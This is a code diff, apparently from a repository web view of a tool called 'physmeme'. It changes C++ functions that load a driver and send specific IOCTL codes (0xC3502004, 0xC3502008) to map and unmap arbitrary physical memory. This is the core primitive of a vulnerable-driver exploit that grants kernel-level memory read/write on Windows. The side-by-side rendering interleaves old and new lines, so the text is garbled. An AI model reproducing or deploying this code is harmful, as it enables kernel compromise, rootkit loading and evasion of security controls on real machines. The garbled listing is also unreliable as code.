#include "../raw_driver.hpp" #include "../raw_driver.hpp"
#define MAP_PHYSICAL 0xC3502004
#define UNMAP_PHYSICAL 0xC3502008
#pragma pack ( push, 1 ) #pragma pack ( push, 1 )
typedef struct _GIOMAP typedef struct _GIOMAP
{ {
@ -19,20 +20,11 @@ typedef struct _GIOMAP
} GIOMAP; } GIOMAP;
#pragma pack ( pop ) #pragma pack ( pop )
#define MAP_PHYS 0xC3502004
#define UNMAP_PHYS 0xC3502008
namespace physmeme namespace physmeme
{ {
inline std::string drv_key; inline std::string drv_key;
inline HANDLE drv_handle = NULL; inline HANDLE drv_handle = NULL;
// keep track of mappings.
inline std::vector<std::pair<std::uintptr_t, std::uint32_t >> virtual_mappings;
//
// please code this function depending on your method of physical read/write.
//
inline bool load_drv() inline bool load_drv()
{ {
const auto [result, key] = const auto [result, key] =
@ -54,59 +46,49 @@ namespace physmeme
return drv_handle; return drv_handle;
} }
//
// please code this function depending on your method of physical read/write.
//
inline bool unload_drv() inline bool unload_drv()
{ {
return CloseHandle(drv_handle) && driver::unload(drv_key); return CloseHandle(drv_handle) && driver::unload(drv_key);
} }
// inline std::uintptr_t map_phys(std::uintptr_t addr, std::size_t size)
// please code this function depending on your method of physical read/write.
//
inline std::uintptr_t map_phys(
std::uintptr_t addr,
std::size_t size
)
{ {
//--- ensure the validity of the address we are going to try and map //--- ensure the validity of the address we are going to try and map
if (!util::is_phys_addr_valid(addr)) if (!util::is_valid(addr))
return NULL; return NULL;
GIOMAP in_buffer = { 0, 0, addr, 0, size }; GIOMAP in_buffer = { 0, 0, addr, 0, size };
uintptr_t out_buffer[2] = { 0 }; uintptr_t out_buffer[2] = { 0 };
unsigned long returned = 0; unsigned long returned = 0;
DeviceIoControl(drv_handle, MAP_PHYS, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
virtual_mappings.emplace_back(std::pair<std::uintptr_t, std::size_t>(out_buffer[0], size)); if (!DeviceIoControl(
drv_handle,
MAP_PHYSICAL,
reinterpret_cast<LPVOID>(&in_buffer),
sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer),
sizeof(out_buffer),
&returned, NULL
))
return NULL;
return out_buffer[0]; return out_buffer[0];
} }
// inline bool unmap_phys(std::uintptr_t addr, std::size_t size)
// please code this function depending on your method of physical read/write.
//
inline bool unmap_phys(
std::uintptr_t addr,
std::size_t size
)
{ {
uintptr_t in_buffer = addr; uintptr_t in_buffer = addr;
uintptr_t out_buffer[2] = { sizeof(out_buffer) }; uintptr_t out_buffer[2] = { sizeof(out_buffer) };
unsigned long returned = NULL; unsigned long returned = NULL;
DeviceIoControl(drv_handle, UNMAP_PHYS, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
return out_buffer[0];
}
// return DeviceIoControl(
// unmap all physical memory that was mapped. drv_handle,
// UNMAP_PHYSICAL,
inline void unmap_all() reinterpret_cast<LPVOID>(&in_buffer),
{ sizeof(in_buffer),
for (auto idx = 0u; idx < virtual_mappings.size(); ++idx) reinterpret_cast<LPVOID>(out_buffer),
unmap_phys(virtual_mappings[idx].first, virtual_mappings[idx].second); sizeof(out_buffer),
&returned, NULL
);
} }
} }

@ -21,7 +21,7 @@ namespace util
static std::map<std::uintptr_t, std::size_t> pmem_ranges{}; static std::map<std::uintptr_t, std::size_t> pmem_ranges{};
//--- validates the address //--- validates the address
inline bool is_phys_addr_valid(std::uintptr_t addr) inline bool is_valid(std::uintptr_t addr)
{ {
for (auto range : pmem_ranges) for (auto range : pmem_ranges)
if (addr >= range.first && addr <= range.first + range.second) if (addr >= range.first && addr <= range.first + range.second)

Loading…
Cancel
Save